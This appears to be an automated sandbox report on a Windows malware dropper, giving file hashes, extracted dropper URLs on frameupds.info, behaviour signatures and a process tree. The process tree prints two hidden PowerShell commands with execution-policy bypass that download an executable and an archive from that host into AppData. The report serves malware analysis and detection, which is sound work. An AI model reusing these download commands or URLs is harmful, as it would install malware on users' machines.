Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2024 09:49

General

  • Target

    73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe

  • Size

    212KB

  • MD5

    43b55685945d2cecc170b850cf622038

  • SHA1

    3b301a8a8a38dddd3cfb554b264342f9948102b0

  • SHA256

    73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f

  • SHA512

    ba08284c9c07150f68fc92be46cdf058caa0b6f9b25135cc2716c286efdbcfd59d79f5bf211260d900ac3fd8fe78b582010ae8985b2f240829c9b94020ae7a65

  • SSDEEP

    3072:DNDzKKCY4RZzOo8u2IJskwUu25iiik4l9ep6RHpm0/d2IK9EzB2tPNxBWg3facbN:pDGKClZl8P6KVRH83TtVf33bncxfq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://frameupds.info/rwrw66/2222z.php

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://frameupds.info/rwrw66/1111z.php

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe
    "C:\Users\Admin\AppData\Local\Temp\73ca5dd6d49b4c296ee1304aaac2e5fde01156800b538354fd27366df5b9323f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3816
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Roaming\ewqeq.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4280
      • C:\Windows\system32\PING.EXE
        ping localhost -n 6
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $KRIIR = New-Object System.Net.WebClient; $KRIIR.Headers['User-Agent'] = 'Command'; $KRIIR.downloadfile('http://frameupds.info/rwrw66/2222z.php','C:\Users\Admin\AppData\Roaming\7za.exe');
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $KRIIR = New-Object System.Net.WebClient; $KRIIR.Headers['User-Agent'] = 'Command'; $KRIIR.downloadfile('http://frameupds.info/rwrw66/1111z.php','C:\Users\Admin\AppData\Roaming\25520.7z');
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1464

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    4267fc1e87ee23aeb8b9a7d0497091c5

    SHA1

    59ddae7dc44b8317ff933ad113493eb1644c52c0

    SHA256

    ff7daa872dda2a5fc4ce7a687bb4193774abb607d489887ffdbbd0ef71bc0d8d

    SHA512

    1d1b048dc3f01680f4049c23db8e4450f2d59a1174184a340e712d6e4340b3ab6191a254986c98743c5374a693733bfa6ff255b62a7b43809bd79c0804be2beb

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tazx5us2.n0o.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\ewqeq.cmd

    Filesize

    5KB

    MD5

    03868028bcd5c24c468e2c66571fb850

    SHA1

    c1dbed55b06bcc1b6a6211f7f8de592d92beb911

    SHA256

    c9bbb054e47836ee23efdb0c3d4ad193f7cbad635cfc9f2ba37da1d912a8b313

    SHA512

    d3527a2b639e694a2c4c9ab3279092f6e470a7e86b3bd5aff3fdfe63760eee2c4393f0b43067e6d922064fabef6c510008676cabb9031aaf3fbee4305ab6c999

  • memory/4692-5-0x00007FFC0C833000-0x00007FFC0C835000-memory.dmp

    Filesize

    8KB

  • memory/4692-15-0x0000012329E80000-0x0000012329EA2000-memory.dmp

    Filesize

    136KB

  • memory/4692-16-0x00007FFC0C830000-0x00007FFC0D2F1000-memory.dmp

    Filesize

    10.8MB

  • memory/4692-17-0x00007FFC0C830000-0x00007FFC0D2F1000-memory.dmp

    Filesize

    10.8MB

  • memory/4692-20-0x00007FFC0C830000-0x00007FFC0D2F1000-memory.dmp

    Filesize

    10.8MB